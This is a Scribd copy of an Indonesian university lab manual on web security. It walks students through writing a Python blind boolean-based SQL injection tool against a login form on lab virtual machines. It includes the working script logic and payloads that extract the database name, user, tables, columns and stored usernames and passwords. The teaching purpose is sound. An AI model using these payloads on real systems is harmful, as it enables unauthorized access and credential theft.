0% menganggap dokumen ini bermanfaat (0 suara)
31 tayangan8 halaman

Alat SQL Injection untuk Website Langitan

Diunggah oleh

A.F
Hak Cipta
© All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
31 tayangan8 halaman

Alat SQL Injection untuk Website Langitan

Diunggah oleh

A.F
Hak Cipta
© All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd

WEB SYSTEM & SECURITY LAB MANUAL

SQL INJECTION
Creating Tools
Module 04

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
CREATING BASIC TOOLS SQL INJECTION

A. Basic knowledge:
- HTML
- PHP
- Python

B. Tools:
- Browser (Mozilla Firefox)

C. Lab Environment
- Kali Linux as a attacker (Virtual Machine)
- Ubuntu Server as a victim (Virtual Machine)
- Web Browser
- Tools to scanning vulnerability
- IP Address Victim ([Link])

D. Lab Scenario

Telah diketahui beberapa website dengan url:

Website URL Vulnerability Page


[Link]/simple_blog [Link]
[Link]/langitan [Link]

E. Langkah-langkah:

Pada praktikum kali ini kita akan membahas bagaimana membuat sebuat tools SQL
Injection Boolean based berdasarkan teori yang sudah dipelajari.

Bahasa pemrograman yang akan digunakan adalah python. Target website yang
akan kita coba adalah website simple blog dan website langitan.

Sebelumnya kita sudah mengetahui vulnerability page yang akan dicoba adalah
pada halaman admin login.

Adapun langkah pembuatan tools sebagai berikut:

1. Pembuatan tools bisa dilakukan langsung melalui mesin attacker yaitu


mesin kali linux.
2. Pada mesin attacker buka text editor yang tersedia.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
3. Simpan dengan nama blog_blind.py
4. Ketikkan kode berikut:

Gambar 1. Source Code

Berikut penjelasan dari source code di atas:

a. Bagian pertama
import requests
import sys
- Pada bagian ini, kita import modul request, dan sys yang ada pada python.
- Modul request merupakan modul yang digunakan untuk melakukan request,
mengirim data dan menerima response berdasarkan url yang sudah
disetting.
- Modul sys akan digunakan untuk memanggil fungsi yang menuliskan secara
interaktif dan real time di terminal hasil dari percobaan.
b. Bagian kedua

url = "[Link]

Url disini adalah url aksi pada form login, url ini akan memproses setiap
data yang dikirim ke server dan nantinya akan melakukan pengecekkan
terhadap data tersebut apakah ada di database atau tidak.
c. Bagian ketiga
for i in range(1, 30):

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
for pertama ini akan digunakan untuk pengulangan yang nantinya akan
digunakan untuk menguji berapa banyak jumlah karakter. Disini kita
berasumsi bahwa banyaknya karakter yang akan kita coba sebanyak 30
karakter.
d. Bagian keempat
for c in range(0x20, 0x7f):
for yang kedua ini digunakan untuk menentukan karakter yang akan kita
uji, misalkan dari a-z, A-Z, dan sebagainya. Disini kita menggunakan kode
heksa, ingat kembali di python untuk fungsi range(), kita tidak bisa
langsung menuliskan berupa karakter seperti a-z tapi fungsi range() hanya
bisa menterjemahkan dalam bentuk angka. 0x20 adalah batas awal dan 0x7f
adalah batas akhir, jika dikonversi menjadi karakter makan 0x20 sama aja
dengan spasi dan 0x7f adalah del. Pengetahuan ini bisa kita pelajari dengan
melihat dari tabel ASCII, untuk kode heksa di python selalu diawali dengan
kode 0x. berikut tabel ASCII:

Gambar 2. ASCII table

e. Bagian kelima
username = "abc' OR BINARY substring(database(), %d, 1) =
'%s' -- " % (i, chr(c))
password = "123456"
Username berisi query yang akan kita coba perkarakter. Misalkan disini
kita akan mencoba menebak atau mencari nama database yang ada pada
website simple blog. Pada query tersebut berisi fungsi database() kemudian

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
ada %d yang jika diterjemahkan maksudnya adalah bilangan integer
sedangkan %s adalah berupa string. Jadi %d akan disi dengan bilangan
integer yang referensinya berasal dari variabel i, dan bilangannya
batasannya bisa dilihat dari keterangan bagian ketiga yaitu dengan batas
akhir bilangan yaitu 30-1. Nantinya pada bagian ini akan dilakukan
pengulangan percobaan sebanyak 29 kali atau dengan kata lain pengulangan
tersebut akan mencoba sampai karakter ke 29. Sedangkan %s akan diisi
dengan string yang referensinya berasal dari variabel c yang batasan
karakternya bisa dilihat dari keterangan bagian keempat, kemudian pada
query tersebut terdapat fungsi chr(), fungsi chr() ini berguna untuk
melakukan konversi dari bilangan heksa menjadi karakter tertentu sesuai
dengan nilai heksanya, untuk keterangan lebih lanjut cek kembali pada tabel
ASCII. Untuk variabel password bisa diisi sembarang karena value dari
variabel ini juga tidak akan dieksekusi oleh query, ingat kembali tanda
komentar -- .
f. Bagian keenam
form = {'username': username, 'password': password,
'submit': 'submit'}
responses = [Link](url, data=form)
Pada bagian ini, variabel form menampung data yang akan dikirim ke server
dan variabel responses berisi perintah untuk mengirimkan data pada
variabel form melalui url yang sudah di setting sebelumnya dengan
menggunakan method POST.
Pada bagain form terdapat ‘username’ dan ‘password’ yang disetting
sebagai key, key ini didapat dari form login admin. Kita bisa melihat key
ini pada halaman login admin dengan cara view page source atau inspect
element pada form login tersebut kemudian cari attribute name pada text
field. Maka akan diperoleh untuk text field username berisi attribute name
dengan nama username dan text field password berisi attribute name
password, inilah yang dijadikan landasan penulisan key pada variabel form.
g. Bagian ketujuh
if "Selamat Datang di Halaman Administrasi Blog" in
[Link]:
status = True
elif "Username atau password salah!" in [Link]:
status = False

Pada bagian ini kita akan menangkap response yang diberikan ketika proses
pengulangan dan percobaan dilakukan. Seperti yang kita ketahui, ketika
username berhasil ditebak maka akan langsung dibawa ke halaman
administrator, pada halaman administrator berisi text “Selamat Datang di

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Halaman Administrasi Blog” sedangkan ketika salah response yang
diberikan adalah “Username atau password salah!”. Ketika response
pertama ditemukan maka kita set status menjadi True dan ketika response
kedua yang diberikan kita set status menjadi False.
h. Bagian kedelapan
if status == True:
[Link](chr(c))
[Link]()
break
Pada bagian ini adalah proses dimana ketika ketika karakter yang ditebak
benar maka akan langsung dituliskan di terminal.

Perhatikan untuk python sangat strict terhadap indensitas, ketika sudah sesuai
dengan source code diatas langsung saja lakukan pengujian dengan cara
mengetikkan di terminal:

python3 blog_blind.py

Kenapa menggunakan python3, karena pada mesin attacker terinstall dua buah
python yaitu python versi 2.x dan versi 3.x, sedangkan tools yang kita buat adalah
mengikuti kaidah atau aturan python versi 3.x.

Jika sudah dijalankan dan berhasil ditemukan akan menampilkan hasil seperti
berikut:

Gambar 3. Menjalankan tools

Selanjutnya kita bisa juga mencari informasi seperti informasi user, nama tabel,
nama kolom bahkan data yang ada pada tabel tertentu. Caranya cukup mengganti
query pada variabel username seperti berikut:

a. Mencari user database


username = "abc' OR BINARY substring(user(), %d, 1) = '%s' --
" % (i, chr(c))
b. Mencari nama tabel
username = "abc' OR BINARY substring((SELECT
group_concat(table_name) FROM information_schema.tables WHERE
table_schema = 'simple_blog'), %d, 1) = '%s' -- " % (i, chr(c))

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
c. Mencari nama kolom pada tabel
username = "abc' OR BINARY substring((SELECT
group_concat(column_name) FROM information_schema.columns WHERE
table_schema = 'simple_blog' AND table_name = 'user'), %d, 1) =
'%s' -- " % (i, chr(c))
d. Mencari/menampilkan username pada tabel user
username = "abc' OR BINARY substring((SELECT
group_concat(username) FROM user), %d, 1) = '%s' -- " % (i,
chr(c))
e. Mencari/menampilkan password pada tabel user
username = "abc' OR BINARY substring((SELECT
group_concat(password) FROM user), %d, 1) = '%s' -- " % (i,
chr(c))

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Latihan:

Buatlah tools SQL Injection untuk website langitan, dapatkan nama database,
nama user database, nama tabel, nama kolom dan data pada tabel yang
menyimpan informasi username dan password.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer

Anda mungkin juga menyukai